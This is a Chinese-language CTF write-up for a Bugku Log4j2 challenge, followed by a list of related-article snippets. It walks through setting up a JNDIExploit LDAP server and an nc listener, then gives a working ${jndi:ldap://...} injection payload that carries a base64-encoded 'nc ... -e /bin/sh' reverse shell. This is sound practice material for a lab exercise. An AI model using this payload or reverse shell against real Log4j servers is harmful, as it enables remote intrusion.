Bugku Log4j2 漏洞题目 解题参考
Log4j2 漏洞题目
题目地址 https://ctf.bugku.com/challenges/detail/id/340.html?page=1
二、攻击环境准备
需要一台linux云服务器,把kali内网穿透出去也行。
本教程只演示在centos7云服务器下的操作,其它平台请自行解决
2.1 在云服务器下安装工具 并开启监听
#安装nc
sudo yum install nc -y
#安装git
sudo yum install git -y
#克隆 考虑到github可能不稳定,改用gitee
#github命令 git clone https://github.com/black9/Log4shell_JNDIExploit.git
wget https://gitee.com/kittysmith5/log4j2/raw/master/log4j/log4j.zip
# 解压 没安装unzip,请自行安装
unzip log4j.zip
#进入目录
cd log4j/
2.2 开启ldap和http服务监听
# 一定要写自己服务器的公网ip,否则用回环地址127.0.0.1反弹不到shell
java -jar *.jar -i 114.114.114.114 -p 8080
#没安装java可以参考这篇博文 https://www.cnblogs.com/ktsm/p/14921272.html
出现以下提示就说明监听成功

2.3 开启nc监听
一定要新开一个shell,如下图,方便我们后续操作

#开启nc监听12345端口
nc -lvn 12345
出现如下提示就说明监听成功了

没出现提示, 但没提示报错也是监听成功了
2.4 进行jndi注入攻击
${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/[base64加密后命令]}
直接填写base64加密的反弹shell命令即可
nc x.x.x.x 12345 -e /bin/sh
base64编码网站 http://tool.chinaz.com/tools/base64.aspx
把这条注入表达式填入登陆的user框中, 密码随便填一个即可
${jndi:ldap://114.114.114.114:1389/Basic/Command/Base64/bmMgMTE0LjExNC4xMTQuMTE0IDEyMzQ1IC1lIC9iaW4vc2g=}

回到那个nc监听的shell窗口, 会发现多了几行, 说明成功反弹到了shell

输入ls 和cat flag就能得到flag了
三、关闭监听环境!!!
刚开启ldap和http服务监听, 就收到来自国外的恶意攻击
如下图直接 rm -rf *
而且想通过wget 下载一个木马文件, 因此解完题目后一定要关闭所有服务

Bugku Log4j2 漏洞题目 解题参考的更多相关文章
- 一次 Java log4j2 漏洞导致的生产问题
一.问题 近期生产在提交了微信小程序审核后(后面会讲到),总会出现一些生产告警,而且持续时间较长.我们查看一些工具和系统相关的,发现把我们的 gateway 差不多打死了. 有一些现象. 网关有很多接 ...
- Bugku的web题目(多次)的解题
这道题目我弄了好久,最后问了朋友,然后在朋友的帮助下,将flag找到了 这里写一下解题方法,记录一下 一进到这道题,看到了php?id=1,就很熟悉,很有可能是一道sql注入的题目,肯定是要试一下最简 ...
- Bugku流量分析题目总结
flag被盗 题目链接:https://ctf.bugku.com/files/e0b57d15b3f8e6190e72987177da1ffd/key.pcapng 解题思路: 这个题目是比较基本的 ...
- 一道仅有7人通过的超5星微软比赛题目-------解题思路&优秀代码分享,邀你来“找茬儿”
6月23日英雄会平台发布了一道难度为超5星的微软比赛题目,截止活动结束共有300多名编程爱好者参与线上答题,而最终通过者仅有7人,通过率仅为2%.为什么成绩如此出人意料?是因为题目的英文描述难以理解? ...
- leetcode并发题目解题报告JAVA版
一.Print in Order Suppose we have a class: public class Foo { public void first() { print("first ...
- ThinkPHP 5.1.x远程命令执行漏洞利用, 参考POC
thinkphp5.1.1为例 1.代码执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filt ...
- bugku论剑场web解题记录
前言 国庆这几天感觉没什么好玩的地方,家又离的太远,弱鸡的我便决定刷刷题涨涨知识,于是就有了这篇文章.. 正文 写的不对的地方欢迎指正 web26 打开直接就是代码,这应该就是一道代码审计的题了 这里 ...
- CTF实验吧-WEB题目解题笔记(1)简单的登陆题
1.简单的登陆题 解题链接: http://ctf5.shiyanbar.com/web/jiandan/index.php Burp抓包解密 乱码,更换思路.尝试id intruder 似乎也没什 ...
- cojs 自己出的题目 解题报告
省选成功成为河北B队队长QAQ 真是忧桑 所以在cojs上出了一套鬼畜的关于树的套题 黑白树: 我们先不考虑R操作 设x是u的祖先,那么fa(x)的贡献显然是 fa(x)*(sz(fa(x))-sz( ...
- leetcode 链表类型题目解题总结
最基础的方式要做到非常熟练,要熟练到不思考就能写,但又需明白各处的要求和陷阱 合并两个有序链表的操作,在前面加上一个初始节点,注意while循环和退出时的处理,理解如何处理其中一个链表遍历完的情况 L ...
随机推荐
- python图片转base64、base64转图片
#图片转base64 import base64 with open("./1.png","rb") as f:#转为二进制格式 base64_data = b ...
- 2023Hgame
2023Hgame Shared Diary 源代码先放一下 const express = require('express'); const bodyParser = require('body- ...
- 读后笔记 -- Java核心技术(第11版 卷 II) Chapter3 XML
3.1 XML Introduction An XML document is made up of elements. An element can have attributes (key/val ...
- (python)正则表达式
# -*- coding: utf-8 -*- import re def test_dot(): """ . => 表示匹配任意字符 ""&q ...
- 思科IPsecVPN建立
实验拓扑 实验目标: 1.不配置中间的三个路由器的路由实现router0和router2的vpn隧道 2.PC0能够ping通PC1 实验IP预定: PC0 10.1.1.1/24 PC1 20.1. ...
- 解决 django channel: zadd() got an unexpected keyword argument 'daphne.response.HzSXMUhzYL!QSfUgrDObf'
在stackoverflow上找到答案 If you are using Redis version 3.0 or above, it will not work with channels vers ...
- mybatis获取参数值的方式
示例: 总结:
- css初始化、background属性、jquery选择器模糊匹配、canvas
1.css初始化 2.background 3.jquery选择器模糊匹配 4.canvas画多边形 5.通过css设置canvas背景图片 6.js动态生成变量名
- css制作仿商城侧边导航
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title&g ...
- ORACLE查看表占用空间的大小
查询object的大小,按照降序排序 select * from user_segments s where s.BYTES is not null order by s.BYTES desc ...